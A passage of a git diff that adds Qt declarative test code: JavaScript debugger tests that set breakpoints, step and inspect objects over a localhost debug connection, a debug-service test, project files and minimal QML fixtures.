+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 40;
+
+ //TEST LINE
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(!QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+}
+
+void tst_QDeclarativeDebugJS::stepOver2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 11;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.stepOver();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepOver();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.fileUrl, bp1.fileUrl);
+ QCOMPARE(data.lineNumber, bp1.lineNumber +2);
+}
+
+void tst_QDeclarativeDebugJS::stepInto2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.stepInto();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepInto();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ QByteArray functionName("logger");
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.functionName, functionName);
+ QCOMPARE(data.fileUrl, QByteArray(QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded()));
+}
+
+void tst_QDeclarativeDebugJS::interrupt2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.interrupt();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.interrupt();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ QByteArray functionName("logger");
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.functionName, functionName);
+ QCOMPARE(data.fileUrl, QByteArray(QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded()));
+}
+
+void tst_QDeclarativeDebugJS::stepOut2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1,bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 12;
+
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp2.lineNumber = 13;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepInto();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepInto();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.stepOut();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepOut();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ JSAgentStackData data = client.break_stackFrames.at(0);
+
+ QCOMPARE(data.fileUrl, bp2.fileUrl);
+ QCOMPARE(data.lineNumber, bp2.lineNumber);
+
+}
+
+void tst_QDeclarativeDebugJS::continueExecution2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2, bp3;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 11;
+
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp2.lineNumber = 12;
+
+ bp3.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp3.lineNumber = 13;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2 << bp3);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.continueExecution();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.continueExecution();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.fileUrl, bp3.fileUrl);
+ QCOMPARE(data.lineNumber, bp3.lineNumber);
+}
+
+void tst_QDeclarativeDebugJS::expandObject2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.expandObjectById(QByteArray("details"),123);
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(expanded())));
+ QCOMPARE(client.object_name,QByteArray("details"));
+
+ QEXPECT_FAIL("", "", Continue);
+ QCOMPARE(client.object_children.length(),0);
+
+}
+
+void tst_QDeclarativeDebugJS::setProperty3()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp2.lineNumber = 18;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ quint64 objectId;
+ QByteArray objectName;
+
+ foreach ( JSAgentWatchData data, client.break_locals)
+ {
+ if( data.name == "details")
+ {
+ objectId = data.objectId;
+ objectName = data.name;
+ //TEST LINE
+ client.setProperty(data.name, 123, "total", "names.length");
+ }
+ }
+
+ client.continueExecution();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+ client.expandObjectById(objectName,objectId);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(expanded())));
+
+ QCOMPARE(client.object_name,QByteArray("details"));
+ QCOMPARE(client.object_children.length(),3);
+
+ // foreach ( JSAgentWatchData data, client.object_children)
+ // {
+ // qDebug() << data.name << data.type << data.value;
+ // }
+}
+
+void tst_QDeclarativeDebugJS::setProperty4()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp2.lineNumber = 18;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ quint64 objectId;
+ QByteArray objectName;
+
+ foreach ( JSAgentWatchData data, client.break_locals)
+ {
+ if( data.name == "details")
+ {
+ objectId = data.objectId;
+ objectName = data.name;
+ //TEST LINE
+ client.setProperty(data.name, 123, "category", data.name + ".category = 'comic characters'");
+ }
+ }
+
+ client.continueExecution();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+ client.expandObjectById(objectName,objectId);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(expanded())));
+
+ QCOMPARE(client.object_name,QByteArray("details"));
+ QCOMPARE(client.object_children.at(0).name,QByteArray("category"));
+ QCOMPARE(client.object_children.at(0).type,QByteArray("String"));
+ QCOMPARE(client.object_children.at(0).value,QByteArray("Superheroes"));
+ QCOMPARE(client.object_children.at(1).name,QByteArray("names"));
+ QCOMPARE(client.object_children.at(1).type,QByteArray("Array"));
+ QCOMPARE(client.object_children.at(2).name,QByteArray("aliases"));
+ QCOMPARE(client.object_children.at(2).type,QByteArray("Array"));
+
+ // foreach ( JSAgentWatchData data, client.object_children)
+ // {
+ // qDebug() << data.name << data.type << data.value;
+ // }
+}
+
+void tst_QDeclarativeDebugJS::activateFrame2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 4;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepInto();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.activateFrame(5);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(watchTriggered())));
+
+ QCOMPARE(client.break_locals.length(),0);
+
+ // foreach ( JSAgentWatchData data, client.break_locals)
+ // {
+ // qDebug() << data.name << data.type << data.value;
+ // }
+
+}
+
+void tst_QDeclarativeDebugJS::verifyQMLOptimizerDisabled()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 21;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+}
+
+void tst_QDeclarativeDebugJS::testCoverageCompleted()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QJSDebugClient client(&connection);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ client.startCoverageCompleted();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(coverageCompleted())));
+}
+
+void tst_QDeclarativeDebugJS::testCoverageRun()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QJSDebugClient client(&connection);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ client.startCoverageRun();
+ client.startCoverageCompleted();
+
+ // The app might get "COVERAGE false" before anything is actually executed
+ //QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(coverageScriptLoaded())));
+ //QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(coveragePosChanged())));
+ //QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(coverageFuncEntered())));
+ //QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(coverageFuncExited())));
+}
+
+QTEST_MAIN(tst_QDeclarativeDebugJS)
+
+#include "tst_qdeclarativedebugjs.moc"
diff --git a/tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.pro b/tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.pro
new file mode 100644
index 00000000..c293fea7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.pro
@@ -0,0 +1,26 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative network script
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/debugutil_p.h
+
+SOURCES += tst_qdeclarativedebugjs.cpp \
+ ../shared/debugutil.cpp
+
+INCLUDEPATH += ../shared
+
+# QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage
+# LIBS += -lgcov
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+OTHER_FILES = data/backtrace1.js data/backtrace1.qml
+
+CONFIG += parallel_test
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qdeclarativedebugservice/qdeclarativedebugservice.pro b/tests/auto/declarative/qdeclarativedebugservice/qdeclarativedebugservice.pro
new file mode 100644
index 00000000..ca5a3988
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugservice/qdeclarativedebugservice.pro
@@ -0,0 +1,10 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += network declarative
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/debugutil_p.h
+SOURCES += tst_qdeclarativedebugservice.cpp \
+ ../shared/debugutil.cpp
+
+CONFIG += parallel_test declarative_debug
+
diff --git a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
new file mode 100644
index 00000000..ff73c5c0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
@@ -0,0 +1,198 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QSignalSpy>
+#include <QTimer>
+#include <QHostAddress>
+#include <QDebug>
+#include <QThread>
+
+#include <QtDeclarative/qdeclarativeengine.h>
+
+#include <private/qdeclarativedebugclient_p.h>
+#include <private/qdeclarativedebugservice_p.h>
+
+#include "../../../shared/util.h"
+#include "../shared/debugutil_p.h"
+
+
+class tst_QDeclarativeDebugService : public QObject
+{
+ Q_OBJECT
+private:
+ QDeclarativeDebugConnection *m_conn;
+
+private slots:
+ void initTestCase();
+
+ void name();
+ void status();
+ void sendMessage();
+ void idForObject();
+ void objectForId();
+ void objectToString();
+};
+
+void tst_QDeclarativeDebugService::initTestCase()
+{
+ QTest::ignoreMessage(QtDebugMsg, "QDeclarativeDebugServer: Waiting for connection on port 13769...");
+ new QDeclarativeEngine(this);
+
+ m_conn = new QDeclarativeDebugConnection(this);
+ m_conn->connectToHost("127.0.0.1", 13769);
+
+ QTest::ignoreMessage(QtDebugMsg, "QDeclarativeDebugServer: Connection established");
+ bool ok = m_conn->waitForConnected();
+ QVERIFY(ok);
+
+ QTRY_VERIFY(QDeclarativeDebugService::hasDebuggingClient());
+}
+
+void tst_QDeclarativeDebugService::name()
+{
+ QString name = "tst_QDeclarativeDebugService::name()";
+
+ QDeclarativeDebugService service(name);
+ QCOMPARE(service.name(), name);
+}
+
+void tst_QDeclarativeDebugService::status()
+{
+ QDeclarativeDebugTestService service("tst_QDeclarativeDebugService::status()");
+ QCOMPARE(service.status(), QDeclarativeDebugService::Unavailable);
+
+ {
+ QDeclarativeDebugTestClient client("tst_QDeclarativeDebugService::status()", m_conn);
+ QTRY_COMPARE(client.status(), QDeclarativeDebugClient::Enabled);
+ QTRY_COMPARE(service.status(), QDeclarativeDebugService::Enabled);
+ }
+
+
+ QTRY_COMPARE(service.status(), QDeclarativeDebugService::Unavailable);
+
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugService: Conflicting plugin name \"tst_QDeclarativeDebugService::status()\" ");
+
+ QDeclarativeDebugService duplicate("tst_QDeclarativeDebugService::status()");
+ QCOMPARE(duplicate.status(), QDeclarativeDebugService::NotConnected);
+}
+
+void tst_QDeclarativeDebugService::sendMessage()
+{
+ QDeclarativeDebugTestService service("tst_QDeclarativeDebugService::sendMessage()");
+ QDeclarativeDebugTestClient client("tst_QDeclarativeDebugService::sendMessage()", m_conn);
+
+ QByteArray msg = "hello!";
+
+ QTRY_COMPARE(client.status(), QDeclarativeDebugClient::Enabled);
+ QTRY_COMPARE(service.status(), QDeclarativeDebugService::Enabled);
+
+ client.sendMessage(msg);
+ QByteArray resp = client.waitForResponse();
+ QCOMPARE(resp, msg);
+
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugService: Conflicting plugin name \"tst_QDeclarativeDebugService::sendMessage()\" ");
+ QDeclarativeDebugService duplicate("tst_QDeclarativeDebugService::sendMessage()");
+ duplicate.sendMessage("msg");
+}
+
+void tst_QDeclarativeDebugService::idForObject()
+{
+ QCOMPARE(QDeclarativeDebugService::idForObject(0), -1);
+
+ QObject *objA = new QObject;
+
+ int idA = QDeclarativeDebugService::idForObject(objA);
+ QVERIFY(idA >= 0);
+ QCOMPARE(QDeclarativeDebugService::objectForId(idA), objA);
+
+ int idAA = QDeclarativeDebugService::idForObject(objA);
+ QCOMPARE(idAA, idA);
+
+ QObject *objB = new QObject;
+ int idB = QDeclarativeDebugService::idForObject(objB);
+ QVERIFY(idB != idA);
+ QCOMPARE(QDeclarativeDebugService::objectForId(idB), objB);
+
+ delete objA;
+ delete objB;
+}
+
+void tst_QDeclarativeDebugService::objectForId()
+{
+ QCOMPARE(QDeclarativeDebugService::objectForId(-1), static_cast<QObject*>(0));
+ QCOMPARE(QDeclarativeDebugService::objectForId(1), static_cast<QObject*>(0));
+
+ QObject *obj = new QObject;
+ int id = QDeclarativeDebugService::idForObject(obj);
+ QCOMPARE(QDeclarativeDebugService::objectForId(id), obj);
+
+ delete obj;
+ QCOMPARE(QDeclarativeDebugService::objectForId(id), static_cast<QObject*>(0));
+}
+
+void tst_QDeclarativeDebugService::objectToString()
+{
+ QCOMPARE(QDeclarativeDebugService::objectToString(0), QString("NULL"));
+
+ QObject *obj = new QObject;
+ QCOMPARE(QDeclarativeDebugService::objectToString(obj), QString("QObject: <unnamed>"));
+
+ obj->setObjectName("Hello");
+ QCOMPARE(QDeclarativeDebugService::objectToString(obj), QString("QObject: Hello"));
+ delete obj;
+}
+
+
+int main(int argc, char *argv[])
+{
+ int _argc = argc + 1;
+ char **_argv = new char*[_argc];
+ for (int i = 0; i < argc; ++i)
+ _argv[i] = argv[i];
+ _argv[_argc - 1] = "-qmljsdebugger=port:13769";
+
+ QApplication app(_argc, _argv);
+ tst_QDeclarativeDebugService tc;
+ return QTest::qExec(&tc, _argc, _argv);
+ delete _argv;
+}
+
+#include "tst_qdeclarativedebugservice.moc"
diff --git a/tests/auto/declarative/qdeclarativedom/data/MyComponent.qml b/tests/auto/declarative/qdeclarativedom/data/MyComponent.qml
new file mode 100644
index 00000000..f6760b6a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/data/MyComponent.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Item {
+}
diff --git a/tests/auto/declarative/qdeclarativedom/data/MyItem.qml b/tests/auto/declarative/qdeclarativedom/data/MyItem.qml
new file mode 100644
index 00000000..f6760b6a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/data/MyItem.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Item {
+}
diff --git a/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml
new file mode 100644
index 00000000..86a71768
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+
diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml
new file mode 100644
index 00000000..86a71768
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+
diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir
new file mode 100644
index 00000000..98d6b743
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir
@@ -0,0 +1,2 @@
+Foo 1.1 Foo.qml
+Foo 1.0 Foo.qml
diff --git a/tests/auto/declarative/qdeclarativedom/data/top.qml b/tests/auto/declarative/qdeclarativedom/data/top.qml
new file mode 100644
index 00000000..56ea9dfa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/data/top.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+MyComponent {
+ width: 100
+ height: 100
+}
diff --git a/tests/auto/declarative/qdeclarativedom/qdeclarativedom.pro b/tests/auto/declarative/qdeclarativedom/qdeclarativedom.pro
new file mode 100644
index 00000000..8ac69aac
